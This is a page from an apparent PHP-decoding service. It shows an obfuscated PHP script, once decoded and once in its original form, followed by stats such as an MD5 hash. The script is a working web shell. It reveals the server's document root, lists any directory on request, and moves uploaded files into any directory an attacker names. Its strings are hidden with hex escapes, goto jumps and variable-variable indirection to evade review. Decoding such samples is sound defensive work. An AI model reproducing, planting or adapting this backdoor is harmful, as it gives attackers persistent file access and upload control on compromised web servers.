Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto mwyfa; n6MYy: if (!empty($_GET["\x67\145\164\x5f\x64\151\x72"])) { echo "\x7c..

Decoded Output download

<?php 
 goto mwyfa; n6MYy: if (!empty($_GET["get_dir"])) { echo "|" . $_SERVER["DOCUMENT_ROOT"] . "|
"; if (!empty($_GET["dir"])) { GetListDir($_GET["dir"]); } } goto jO3zJ; c5zti: ${"GLOBALS"}["benwpnlghosn"] = "dir"; goto cCdZT; cCdZT: function GetListDir($dir) { $wtoilbj = "files"; if (empty(${${"GLOBALS"}["benwpnlghosn"]})) { return null; } ${"GLOBALS"}["qrayskgjvm"] = "files"; ${$wtoilbj} = scandir(${${"GLOBALS"}["benwpnlghosn"]}); echo "@dir@\xd
"; foreach (${${"GLOBALS"}["qrayskgjvm"]} as ${${"GLOBALS"}["pithubs"]}) { ${"GLOBALS"}["ehjizp"] = "file"; if (${${"GLOBALS"}["pithubs"]} != "." & ${${"GLOBALS"}["ehjizp"]} != "..") { $aroprnsnfs = "dir"; if (is_dir(${$aroprnsnfs} . "/" . ${${"GLOBALS"}["pithubs"]})) { echo "[" . ${${"GLOBALS"}["pithubs"]} . "]\xd
"; } if (is_file(${${"GLOBALS"}["benwpnlghosn"]} . "/" . ${${"GLOBALS"}["pithubs"]})) { echo "<" . ${${"GLOBALS"}["pithubs"]} . ">\xd
"; } } } } goto TZ2Zw; TZ2Zw: function UploadFile($file) { $xaidrrqrqwo = "file"; ${"GLOBALS"}["hqymnkxkv"] = "file"; if (empty(${${"GLOBALS"}["hqymnkxkv"]})) { return null; } if (is_uploaded_file(${$xaidrrqrqwo}["tmp_name"])) { if (!empty($_POST["dir"])) { $uspuwhfooat = "file"; if (move_uploaded_file(${${"GLOBALS"}["pithubs"]}["tmp_name"], $_POST["dir"] . "/" . ${$uspuwhfooat}["name"])) { echo "@true@
"; GetListDir($_POST["dir"]); } } else { ${"GLOBALS"}["zgkxpfy"] = "file"; $oluewsjy = "file"; if (move_uploaded_file(${$oluewsjy}["tmp_name"], ${${"GLOBALS"}["zgkxpfy"]}["name"])) { echo "true"; } } } } goto IkFOi; IkFOi: if (!empty($_GET["test"])) { echo "testtrue"; } goto n6MYy; jO3zJ: if (!empty($_FILES["filename"])) { UploadFile($_FILES["filename"]); } goto gulPA; mwyfa: ${"GLOBALS"}["pithubs"] = "file"; goto c5zti; gulPA: ?>

Did this file decode correctly?

Original Code

<?php
 goto mwyfa; n6MYy: if (!empty($_GET["\x67\145\164\x5f\x64\151\x72"])) { echo "\x7c" . $_SERVER["\x44\x4f\103\x55\115\x45\116\x54\x5f\122\x4f\x4f\x54"] . "\x7c\15\12"; if (!empty($_GET["\144\x69\162"])) { GetListDir($_GET["\144\151\162"]); } } goto jO3zJ; c5zti: ${"\x47\x4c\117\102\x41\x4c\x53"}["\x62\145\x6e\x77\x70\x6e\154\147\x68\x6f\163\156"] = "\144\151\x72"; goto cCdZT; cCdZT: function GetListDir($dir) { $wtoilbj = "\146\x69\154\145\x73"; if (empty(${${"\x47\114\x4f\x42\x41\x4c\123"}["\142\145\x6e\x77\160\156\x6c\147\x68\x6f\x73\156"]})) { return null; } ${"\107\114\117\102\x41\x4c\123"}["\161\x72\141\171\163\153\x67\152\x76\155"] = "\146\x69\x6c\145\163"; ${$wtoilbj} = scandir(${${"\x47\114\x4f\102\101\x4c\123"}["\142\145\x6e\x77\x70\x6e\154\x67\x68\x6f\163\156"]}); echo "\x40\144\x69\162\x40\xd\12"; foreach (${${"\107\114\x4f\x42\101\x4c\123"}["\161\x72\141\x79\x73\153\x67\152\x76\155"]} as ${${"\107\x4c\x4f\102\101\114\123"}["\160\x69\x74\x68\x75\x62\163"]}) { ${"\107\x4c\117\x42\x41\x4c\x53"}["\145\x68\152\x69\x7a\160"] = "\x66\151\154\x65"; if (${${"\107\x4c\x4f\x42\101\x4c\123"}["\x70\151\164\x68\165\x62\163"]} != "\56" & ${${"\107\x4c\x4f\102\x41\114\123"}["\x65\x68\152\151\172\160"]} != "\56\x2e") { $aroprnsnfs = "\144\x69\162"; if (is_dir(${$aroprnsnfs} . "\x2f" . ${${"\107\x4c\117\x42\x41\114\x53"}["\x70\151\x74\x68\165\142\163"]})) { echo "\133" . ${${"\x47\x4c\x4f\x42\101\x4c\x53"}["\160\151\164\150\165\142\x73"]} . "\135\xd\12"; } if (is_file(${${"\107\114\117\102\x41\114\123"}["\x62\145\x6e\x77\x70\156\x6c\147\x68\x6f\x73\156"]} . "\x2f" . ${${"\x47\x4c\x4f\x42\x41\114\123"}["\x70\151\164\150\165\x62\163"]})) { echo "\74" . ${${"\107\114\x4f\102\101\114\x53"}["\160\151\164\x68\x75\x62\163"]} . "\76\xd\12"; } } } } goto TZ2Zw; TZ2Zw: function UploadFile($file) { $xaidrrqrqwo = "\x66\x69\154\145"; ${"\x47\x4c\x4f\x42\101\114\123"}["\x68\x71\x79\155\156\x6b\170\x6b\x76"] = "\x66\151\154\x65"; if (empty(${${"\107\x4c\x4f\102\x41\x4c\x53"}["\150\x71\171\x6d\x6e\153\x78\153\x76"]})) { return null; } if (is_uploaded_file(${$xaidrrqrqwo}["\x74\x6d\160\137\x6e\x61\x6d\x65"])) { if (!empty($_POST["\x64\151\162"])) { $uspuwhfooat = "\x66\151\x6c\145"; if (move_uploaded_file(${${"\x47\x4c\x4f\102\x41\114\x53"}["\160\x69\x74\x68\165\142\x73"]}["\164\155\160\x5f\x6e\x61\x6d\145"], $_POST["\x64\151\162"] . "\x2f" . ${$uspuwhfooat}["\156\141\x6d\x65"])) { echo "\100\164\162\x75\x65\100\15\12"; GetListDir($_POST["\144\x69\x72"]); } } else { ${"\107\114\x4f\102\x41\x4c\123"}["\172\x67\153\x78\160\x66\171"] = "\146\x69\x6c\x65"; $oluewsjy = "\146\x69\x6c\x65"; if (move_uploaded_file(${$oluewsjy}["\x74\155\x70\x5f\156\x61\x6d\x65"], ${${"\107\x4c\117\102\101\114\x53"}["\x7a\147\x6b\170\x70\146\171"]}["\156\141\155\145"])) { echo "\164\x72\x75\145"; } } } } goto IkFOi; IkFOi: if (!empty($_GET["\x74\145\163\x74"])) { echo "\x74\145\163\x74\x74\x72\165\145"; } goto n6MYy; jO3zJ: if (!empty($_FILES["\x66\151\x6c\x65\x6e\x61\x6d\x65"])) { UploadFile($_FILES["\146\151\154\x65\156\141\155\145"]); } goto gulPA; mwyfa: ${"\x47\x4c\117\102\x41\x4c\x53"}["\x70\151\x74\150\165\142\163"] = "\146\151\x6c\x65"; goto c5zti; gulPA: ?>

Function Calls

None

Variables

None

Stats

MD5 e64d305175b0bd8a005267310a75d474
Eval Count 0
Decode Time 51 ms